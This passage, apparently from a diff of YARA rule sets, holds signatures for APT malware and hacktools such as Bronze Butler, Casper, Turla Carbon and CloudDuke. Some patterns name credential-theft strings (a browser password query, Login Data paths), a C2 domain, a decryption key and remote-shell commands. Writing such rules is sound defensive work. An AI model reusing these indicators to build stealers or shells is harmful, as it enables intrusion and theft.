|
||||
$s9 = "ms1ng2d3d2.exe" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them )
|
||||
}
|
||||
|
||||
rule BronzeButler_Daserf_C_1 {
|
||||
meta:
|
||||
description = "Detects malware / hacktool sample from Bronze Butler incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
|
||||
date = "2017-10-14"
|
||||
hash1 = "a4afd9df1b4cc014c3a89d7b4a560fa3e368b02286c42841762714b23e68cc05"
|
||||
hash2 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
|
||||
hash3 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
|
||||
hash4 = "b1fdc6dc330e78a66757b77cc67a0e9931b777cd7af9f839911eecb74c04420a"
|
||||
hash5 = "15abe7b1355cd35375de6dde57608f6d3481755fdc9e71d2bfc7c7288db4cd92"
|
||||
hash6 = "85544d2bcaf8e6ca32bbc0a9e9583c9db1dce837043f555a7ff66363d5858439"
|
||||
hash7 = "2dc24622c1e91642a21a64c0dd31cbe953e8f77bd3d6abcf2c4676c3b11bb162"
|
||||
hash8 = "2bdb88fa24cffba240b60416835189c76a9920b6c3f6e09c3c4b171c2f57031c"
|
||||
strings:
|
||||
$s1 = "(c) 2010 DYAMAR EnGineerinG, All rights reserved, http://www.dyamar.com." fullword ascii
|
||||
$s2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; SV1)" fullword ascii
|
||||
|
||||
$a1 = "ndkkwqgcm" fullword ascii
|
||||
$a2 = "RtlGetCo" fullword ascii
|
||||
$a3 = "hutils" fullword ascii
|
||||
|
||||
$b1 = "%USERPROFILE%\\System" fullword ascii
|
||||
$b2 = "msid.dat" fullword ascii
|
||||
$b3 = "DRIVE_REMOTE" fullword wide
|
||||
$b4 = "%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
|
||||
$b5 = "jcbhe.asp" fullword ascii
|
||||
$b6 = "edset.asp" fullword ascii
|
||||
$b7 = "bxcve.asp" fullword ascii
|
||||
$b8 = "hcvery.php" fullword ascii
|
||||
$b9 = "ynhkef.php" fullword ascii
|
||||
$b10 = "dkgwey.php" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 300KB and (
|
||||
pe.imphash() == "088382f4887e3b2c4bd5157f2d72b618" or
|
||||
all of ($a*) or
|
||||
4 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule BronzeButler_DGet_1 {
|
||||
meta:
|
||||
description = "Detects malware / hacktool sample from Bronze Butler incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
|
||||
date = "2017-10-14"
|
||||
hash1 = "bd81521445639aaa5e3bcb5ece94f73feda3a91880a34a01f92639f8640251d6"
|
||||
strings:
|
||||
$s2 = "DGet Tool Made by XZ" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 10KB and 1 of them )
|
||||
}
|
||||
|
||||
rule BronzeButler_UACBypass_1 {
|
||||
meta:
|
||||
description = "Detects malware / hacktool sample from Bronze Butler incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
|
||||
date = "2017-10-14"
|
||||
hash1 = "fe06b99a0287e2b2d9f7faffbda3a4b328ecc05eab56a3e730cfc99de803b192"
|
||||
strings:
|
||||
$x1 = "\\Release\\BypassUacDll.pdb" ascii
|
||||
$x2 = "%programfiles%internet exploreriexplore.exe" fullword wide
|
||||
$x3 = "Elevation:Administrator!new:{3ad055" fullword wide
|
||||
$x4 = "BypassUac.pdb" fullword ascii
|
||||
$x5 = "[bypassUAC] started X64" fullword wide
|
||||
$x6 = "[bypassUAC] started X86" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them )
|
||||
}
|
||||
|
||||
rule BronzeButler_xxmm_1 {
|
||||
meta:
|
||||
description = "Detects malware / hacktool sample from Bronze Butler incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
|
||||
date = "2017-10-14"
|
||||
hash1 = "7197de18bc5a4c854334ff979f3e4dafa16f43d7bf91edfe46f03e6cc88f7b73"
|
||||
strings:
|
||||
$x1 = "\\Release\\ReflectivLoader.pdb" ascii
|
||||
$x3 = "\\Projects\\xxmm2\\Release\\" ascii
|
||||
$x5 = "http://127.0.0.1/phptunnel.php" fullword ascii
|
||||
|
||||
$s1 = "xxmm2.exe" fullword ascii
|
||||
$s2 = "\\AvUpdate.exe" fullword wide
|
||||
$s3 = "stdapi_fs_file_download" fullword ascii
|
||||
$s4 = "stdapi_syncshell_open" fullword ascii
|
||||
$s5 = "stdapi_execute_sleep" fullword ascii
|
||||
$s6 = "stdapi_syncshell_kill" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 700KB and (
|
||||
1 of ($x*) or
|
||||
4 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule BronzeButler_RarStar_1 {
|
||||
meta:
|
||||
description = "Detects malware / hacktool sample from Bronze Butler incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
|
||||
date = "2017-10-14"
|
||||
hash1 = "0fc1b4fdf0dc5373f98de8817da9380479606f775f5aa0b9b0e1a78d4b49e5f4"
|
||||
strings:
|
||||
$s1 = "Mozilla/4.0+(compatible;+MSIE+8.0;+Windows+NT+6.0;+SV1)" fullword wide
|
||||
$s2 = "http://www.google.co.jp" fullword wide
|
||||
$s3 = "16D73E22-873D-D58E-4F42-E6055BC9825E" fullword ascii
|
||||
$s4 = "\\*.rar" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
|
||||
}
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-11-08
|
||||
Identifier: Bronze Butler
|
||||
Reference: https://goo.gl/ffeCfd
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Daserf_Nov1_BronzeButler {
|
||||
meta:
|
||||
description = "Detects Daserf malware used by Bronze Butler"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/ffeCfd"
|
||||
date = "2017-11-08"
|
||||
hash1 = "5ede6f93f26ccd6de2f93c9bd0f834279df5f5cfe3457915fae24a3aec46961b"
|
||||
strings:
|
||||
$x1 = "mstmp1845234.exe" fullword ascii
|
||||
/* Bronce Butler UA String - see google search */
|
||||
$x2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)" fullword ascii
|
||||
$x3 = "Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; SV1)" fullword ascii
|
||||
|
||||
$s1 = "Content-Type: */*" fullword ascii
|
||||
$s2 = "ProxyEnable" ascii fullword
|
||||
$s3 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer" ascii fullword
|
||||
$s4 = "iexplore.exe" ascii fullword
|
||||
/* Looks random but present in many samples */
|
||||
$s5 = "\\SOFTWARE\\Microsoft\\Windows\\Cu" fullword ascii
|
||||
$s6 = "rrentVersion\\Internet Settings" fullword ascii
|
||||
$s7 = "ws\\CurrentVersion\\Inter" fullword ascii
|
||||
$s8 = "Documents an" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 700KB and ( 1 of ($x*) or 5 of them )
|
||||
}
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-09-05
|
||||
Identifier: Buckeye
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Buckeye_Osinfo {
|
||||
meta:
|
||||
description = "Detects OSinfo tool used by the Buckeye APT group"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
|
||||
date = "2016-09-05"
|
||||
strings:
|
||||
$s1 = "-s ShareInfo ShareDir" fullword ascii
|
||||
$s2 = "-a Local And Global Group User Info" fullword ascii
|
||||
$s3 = "-f <infile> //input server list from infile, OneServerOneLine" fullword ascii
|
||||
$s4 = "info <\\server> <user>" fullword ascii
|
||||
$s5 = "-c Connect Test" fullword ascii
|
||||
$s6 = "-gd Group Domain Admins" fullword ascii
|
||||
$s7 = "-n NetuseInfo" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and 3 of ($s*)
|
||||
}
|
||||
|
||||
rule RemoteCmd {
|
||||
meta:
|
||||
description = "Detects a remote access tool used by APT groups - file RemoteCmd.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/igxLyF"
|
||||
date = "2016-09-08"
|
||||
hash1 = "5264d1de687432f8346617ac88ffcb31e025e43fc3da1dad55882b17b44f1f8b"
|
||||
strings:
|
||||
$s1 = "RemoteCmd.exe" fullword wide
|
||||
$s2 = "\\Release\\RemoteCmd.pdb" fullword ascii
|
||||
$s3 = "RemoteCmd [ComputerName] [Executable] [Param1] [Param2] ..." fullword wide
|
||||
$s4 = "http://{0}:65101/CommandEngine" fullword wide
|
||||
$s5 = "Brenner.RemoteCmd.Client" fullword ascii
|
||||
$s6 = "$b1888995-1ee5-4f6d-82df-d2ab8ae73d63" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 50KB and 2 of them ) or ( 4 of them )
|
||||
}
|
||||
|
||||
rule ChromePass {
|
||||
meta:
|
||||
description = "Detects a tool used by APT groups - file ChromePass.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/igxLyF"
|
||||
date = "2016-09-08"
|
||||
hash1 = "5ff43049ae18d03dcc74f2be4a870c7056f6cfb5eb636734cca225140029de9a"
|
||||
strings:
|
||||
$x1 = "\\Release\\ChromePass.pdb" fullword ascii
|
||||
$x2 = "Windows Protect folder for getting the encryption keys" wide
|
||||
$x3 = "Chrome User Data folder where the password file is stored" wide
|
||||
|
||||
$s1 = "Opera Software\\Opera Stable\\Login Data" fullword wide
|
||||
$s2 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword wide
|
||||
$s3 = "Load the passwords from another Windows user or external drive: " fullword wide
|
||||
$s4 = "Chrome Passwords List!Select the windows profile folder" fullword wide
|
||||
$s5 = "Load the passwords of the current logged-on user" fullword wide
|
||||
$s6 = "Windows Login Password:" fullword wide
|
||||
$s7 = "SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created fr" ascii
|
||||
$s8 = "Chrome Password Recovery" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 700KB and 1 of ($x*) ) or ( 5 of them )
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
// For feedback or questions contact us at: github@eset.com
|
||||
// https://github.com/eset/malware-ioc/
|
||||
//
|
||||
// These yara rules are provided to the community under the two-clause BSD
|
||||
// license as follows:
|
||||
//
|
||||
// Copyright (c) 2017, ESET
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without
|
||||
// modification, are permitted provided that the following conditions are met:
|
||||
//
|
||||
// 1. Redistributions of source code must retain the above copyright notice, this
|
||||
// list of conditions and the following disclaimer.
|
||||
//
|
||||
// 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//
|
||||
import "pe"
|
||||
|
||||
rule generic_carbon
|
||||
{
|
||||
meta:
|
||||
author = "ESET Research"
|
||||
date = "2017-03-30"
|
||||
description = "Turla Carbon malware"
|
||||
reference = "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
|
||||
source = "https://github.com/eset/malware-ioc/"
|
||||
contact = "github@eset.com"
|
||||
license = "BSD 2-Clause"
|
||||
|
||||
strings:
|
||||
$s1 = "ModStart"
|
||||
$t1 = "STOP|OK"
|
||||
$t2 = "STOP|KILL"
|
||||
|
||||
condition:
|
||||
(uint16(0) == 0x5a4d) and (1 of ($s*)) and (1 of ($t*))
|
||||
}
|
||||
|
||||
rule carbon_metadata
|
||||
{
|
||||
meta:
|
||||
author = "ESET Research"
|
||||
date = "2017-03-30"
|
||||
description = "Turla Carbon malware"
|
||||
reference = "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
|
||||
source = "https://github.com/eset/malware-ioc/"
|
||||
contact = "github@eset.com"
|
||||
license = "BSD 2-Clause"
|
||||
|
||||
condition:
|
||||
(pe.version_info["InternalName"] contains "SERVICE.EXE" or
|
||||
pe.version_info["InternalName"] contains "MSIMGHLP.DLL" or
|
||||
pe.version_info["InternalName"] contains "MSXIML.DLL")
|
||||
and pe.version_info["CompanyName"] contains "Microsoft Corporation"
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
|
||||
/* State-sponsored Casper Malware Rules by @4nc4p - attribution and analysis by @pinkflawd @r00tbsd @circl_lu */
|
||||
|
||||
rule Casper_Backdoor_x86 {
|
||||
meta:
|
||||
description = "Casper French Espionage Malware - Win32/ProxyBot.B - x86 Payload http://goo.gl/VRJNLo"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/VRJNLo"
|
||||
date = "2015/03/05"
|
||||
hash = "f4c39eddef1c7d99283c7303c1835e99d8e498b0"
|
||||
score = 80
|
||||
strings:
|
||||
$s1 = "\"svchost.exe\"" fullword wide
|
||||
$s2 = "firefox.exe" fullword ascii
|
||||
$s3 = "\"Host Process for Windows Services\"" fullword wide
|
||||
|
||||
$x1 = "\\Users\\*" fullword ascii
|
||||
$x2 = "\\Roaming\\Mozilla\\Firefox\\Profiles\\*" fullword ascii
|
||||
$x3 = "\\Mozilla\\Firefox\\Profiles\\*" fullword ascii
|
||||
$x4 = "\\Documents and Settings\\*" fullword ascii
|
||||
|
||||
$y1 = "%s; %S=%S" fullword wide
|
||||
$y2 = "%s; %s=%s" fullword ascii
|
||||
$y3 = "Cookie: %s=%s" fullword ascii
|
||||
$y4 = "http://%S:%d" fullword wide
|
||||
|
||||
$z1 = "http://google.com/" fullword ascii
|
||||
$z2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)" fullword ascii
|
||||
$z3 = "Operating System\"" fullword wide
|
||||
condition:
|
||||
( all of ($s*) ) or
|
||||
( 3 of ($x*) and 2 of ($y*) and 2 of ($z*) )
|
||||
}
|
||||
|
||||
rule Casper_EXE_Dropper {
|
||||
meta:
|
||||
description = "Casper French Espionage Malware - Win32/ProxyBot.B - Dropper http://goo.gl/VRJNLo"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/VRJNLo"
|
||||
date = "2015/03/05"
|
||||
hash = "e4cc35792a48123e71a2c7b6aa904006343a157a"
|
||||
score = 80
|
||||
strings:
|
||||
$s0 = "<Command>" fullword ascii
|
||||
$s1 = "</Command>" fullword ascii
|
||||
$s2 = "\" /d \"" fullword ascii
|
||||
$s4 = "'%s' %s" fullword ascii
|
||||
$s5 = "nKERNEL32.DLL" fullword wide
|
||||
$s6 = "@ReturnValue" fullword wide
|
||||
$s7 = "ID: 0x%x" fullword ascii
|
||||
$s8 = "Name: %S" fullword ascii
|
||||
condition:
|
||||
7 of them
|
||||
}
|
||||
|
||||
rule Casper_Included_Strings {
|
||||
meta:
|
||||
description = "Casper French Espionage Malware - String Match in File - http://goo.gl/VRJNLo"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/VRJNLo"
|
||||
date = "2015/03/06"
|
||||
score = 50
|
||||
strings:
|
||||
$a0 = "cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST"
|
||||
$a1 = "& SYSTEMINFO) ELSE EXIT"
|
||||
|
||||
$mz = { 4d 5a }
|
||||
$c1 = "domcommon.exe" wide fullword // File Name
|
||||
$c2 = "jpic.gov.sy" fullword // C2 Server
|
||||
$c3 = "aiomgr.exe" wide fullword // File Name
|
||||
$c4 = "perfaudio.dat" fullword // Temp File Name
|
||||
$c5 = "Casper_DLL.dll" fullword // Name
|
||||
$c6 = { 7B 4B 59 DE 37 4A 42 26 59 98 63 C6 2D 0F 57 40 } // Decryption Key
|
||||
$c7 = "{4216567A-4512-9825-7745F856}" fullword // Mutex
|
||||
condition:
|
||||
all of ($a*) or
|
||||
( $mz at 0 ) and ( 1 of ($c*) )
|
||||
}
|
||||
|
||||
rule Casper_SystemInformation_Output {
|
||||
meta:
|
||||
description = "Casper French Espionage Malware - System Info Output - http://goo.gl/VRJNLo"
|
||||
author = "Florian Roth"
|
||||
reference = "http://goo.gl/VRJNLo"
|
||||
date = "2015/03/06"
|
||||
score = 70
|
||||
strings:
|
||||
$a0 = "***** SYSTEM INFORMATION ******"
|
||||
$a1 = "***** SECURITY INFORMATION ******"
|
||||
$a2 = "Antivirus: "
|
||||
$a3 = "Firewall: "
|
||||
$a4 = "***** EXECUTION CONTEXT ******"
|
||||
$a5 = "Identity: "
|
||||
$a6 = "<CONFIG TIMESTAMP="
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-08-08
|
||||
Identifier: Cheshire Cat
|
||||
Version: 0.1
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule CheshireCat_Sample2 {
|
||||
meta:
|
||||
description = "Auto-generated rule - file dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
|
||||
author = "Florian Roth"
|
||||
reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
|
||||
date = "2015-08-08"
|
||||
score = 70
|
||||
hash = "dc18850d065ff6a8364421a9c8f9dd5fcce6c7567f4881466cee00e5cd0c7aa8"
|
||||
strings:
|
||||
$s0 = "mpgvwr32.dll" fullword ascii
|
||||
$s1 = "Unexpected failure of wait! (%d)" fullword ascii
|
||||
$s2 = "\"%s\" /e%d /p%s" fullword ascii
|
||||
$s4 = "error in params!" fullword ascii
|
||||
$s5 = "sscanf" fullword ascii
|
||||
$s6 = "<>Param : 0x%x" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and 4 of ($s*)
|
||||
}
|
||||
|
||||
/* Generic Rules ----------------------------------------------------------- */
|
||||
/* Gen1 is more exact than Gen2 - until now I had no FPs with Gen2 */
|
||||
|
||||
rule CheshireCat_Gen1 {
|
||||
meta:
|
||||
description = "Auto-generated rule - file ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
|
||||
author = "Florian Roth"
|
||||
reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
|
||||
date = "2015-08-08"
|
||||
super_rule = 1
|
||||
score = 90
|
||||
hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
|
||||
hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
|
||||
hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
|
||||
hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
|
||||
strings:
|
||||
$x1 = "CAPESPN.DLL" fullword wide
|
||||
$x2 = "WINF.DLL" fullword wide
|
||||
$x3 = "NCFG.DLL" fullword wide
|
||||
$x4 = "msgrthlp.dll" fullword wide
|
||||
$x5 = "Local\\{c0d9770c-9841-430d-b6e3-575dac8a8ebf}" fullword ascii
|
||||
$x6 = "Local\\{1ef9f94a-5664-48a6-b6e8-c3748db459b4}" fullword ascii
|
||||
|
||||
$a1 = "Interface\\%s\\info" fullword ascii
|
||||
$a2 = "Interface\\%s\\info\\%s" fullword ascii
|
||||
$a3 = "CLSID\\%s\\info\\%s" fullword ascii
|
||||
$a4 = "CLSID\\%s\\info" fullword ascii
|
||||
|
||||
$b1 = "Windows Shell Icon Handler" fullword wide
|
||||
$b2 = "Microsoft Shell Icon Handler" fullword wide
|
||||
|
||||
$s1 = "\\StringFileInfo\\%s\\FileVersion" fullword ascii
|
||||
$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
|
||||
$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
|
||||
$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
|
||||
$s5 = "%sMutex" fullword ascii
|
||||
$s6 = "\\ShellIconCache" fullword ascii
|
||||
$s7 = "+6Service Pack " fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 350KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*) and 1 of ($x*)
|
||||
}
|
||||
|
||||
rule CheshireCat_Gen2 {
|
||||
meta:
|
||||
description = "Cheshire Cat Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://malware-research.org/prepare-father-of-stuxnet-news-are-coming/"
|
||||
date = "2015-08-08"
|
||||
super_rule = 1
|
||||
score = 70
|
||||
hash1 = "ec41b029c3ff4147b6a5252cb8b659f851f4538d4af0a574f7e16bc1cd14a300"
|
||||
hash2 = "32159d2a16397823bc882ddd3cd77ecdbabe0fde934e62f297b8ff4d7b89832a"
|
||||
hash3 = "63735d555f219765d486b3d253e39bd316bbcb1c0ec595ea45ddf6e419bef3cb"
|
||||
hash4 = "c074aeef97ce81e8c68b7376b124546cabf40e2cd3aff1719d9daa6c3f780532"
|
||||
strings:
|
||||
$a1 = "Interface\\%s\\info" fullword ascii
|
||||
$a2 = "Interface\\%s\\info\\%s" fullword ascii
|
||||
$a3 = "CLSID\\%s\\info\\%s" fullword ascii
|
||||
$a4 = "CLSID\\%s\\info" fullword ascii
|
||||
|
||||
$b1 = "Windows Shell Icon Handler" fullword wide
|
||||
$b2 = "Microsoft Shell Icon Handler" fullword wide
|
||||
|
||||
$s1 = "\\StringFileInfo\\%s\\FileVersion" fullword ascii
|
||||
$s2 = "CLSID\\%s\\AuxCLSID" fullword ascii
|
||||
$s3 = "lnkfile\\shellex\\IconHandler" fullword ascii
|
||||
$s4 = "%s: %s, %.2hu %s %hu %2.2hu:%2.2hu:%2.2hu GMT" fullword ascii
|
||||
$s5 = "%sMutex" fullword ascii
|
||||
$s6 = "\\ShellIconCache" fullword ascii
|
||||
$s7 = "+6Service Pack " fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 200KB and 7 of ($s*) and 2 of ($a*) and 1 of ($b*)
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2015-07-22
|
||||
Identifier: CloudDuke
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule CloudDuke_Malware {
|
||||
meta:
|
||||
description = "Detects CloudDuke Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.f-secure.com/weblog/archives/00002822.html"
|
||||
date = "2015-07-22"
|
||||
score = 60
|
||||
hash1 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
|
||||
hash2 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
|
||||
hash3 = "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7"
|
||||
hash4 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
|
||||
hash5 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
|
||||
hash6 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
|
||||
hash7 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
|
||||
strings:
|
||||
$s1 = "ProcDataWrap" fullword ascii
|
||||
$s2 = "imagehlp.dll" fullword ascii
|
||||
$s3 = "dnlibsh" fullword ascii
|
||||
$s4 = "%ws_out%ws" fullword wide
|
||||
$s5 = "Akernel32.dll" fullword wide
|
||||
|
||||
$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b } /* Opcode */
|
||||
$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f } /* Opcode */
|
||||
$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 } /* Opcode */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 720KB and 4 of ($s*) and 1 of ($op*)
|
||||
}
|
||||
|
||||
/* Super Rules ------------------------------------------------------------- */
|
||||
|
||||
rule SFXRAR_Acrotray {
|
||||
meta:
|
||||
description = "Most likely a malicious file acrotray in SFX RAR / CloudDuke APT 5442.1.exe, 5442.2.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.f-secure.com/weblog/archives/00002822.html"
|
||||
date = "2015-07-22"
|
||||
super_rule = 1
|
||||
score = 70
|
||||
hash1 = "51e713c7247f978f5836133dd0b8f9fb229e6594763adda59951556e1df5ee57"
|
||||
hash2 = "5d695ff02202808805da942e484caa7c1dc68e6d9c3d77dc383cfa0617e61e48"
|
||||
hash3 = "56531cc133e7a760b238aadc5b7a622cd11c835a3e6b78079d825d417fb02198"
|
||||
strings:
|
||||
$s1 = "winrarsfxmappingfile.tmp" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s2 = "GETPASSWORD1" fullword wide /* PEStudio Blacklist: strings */
|
||||
$s3 = "acrotray.exe" fullword ascii
|
||||
$s4 = "CryptUnprotectMemory failed" fullword wide /* PEStudio Blacklist: strings */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 2449KB and all of them
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-10-03
|
||||
Identifier: CMStar Threat Actor
|
||||
Reference: https://goo.gl/pTffPA
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
rule CMStar_Malware_Sep17 {
|
||||
meta:
|
||||
description = "Detects CMStar Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/pTffPA"
|
||||
date = "2017-10-03"
|
||||
hash1 = "16697c95db5add6c1c23b2591b9d8eec5ed96074d057b9411f0b57a54af298d5"
|
||||
strings:
|
||||
$s1 = "UpdateService.tmp" fullword ascii
|
||||
$s2 = "StateNum:%d,FileSize:%d" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 100KB and (
|
||||
pe.imphash() == "22021985de78a48ea8fb82a2ff9eb693" or
|
||||
pe.exports("WinCred") or
|
||||
all of them
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,213 @@
|
||||
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-02-03
|
||||
Identifier: ZeroT CN APT
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule PP_CN_APT_ZeroT_1 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "09061c603a32ac99b664f7434febfc8c1f9fd7b6469be289bb130a635a6c47c0"
|
||||
strings:
|
||||
$s1 = "suprise.exe" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
|
||||
}
|
||||
|
||||
rule PP_CN_APT_ZeroT_2 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "74eb592ef7f5967b14794acdc916686e061a43169f06e5be4dca70811b9815df"
|
||||
strings:
|
||||
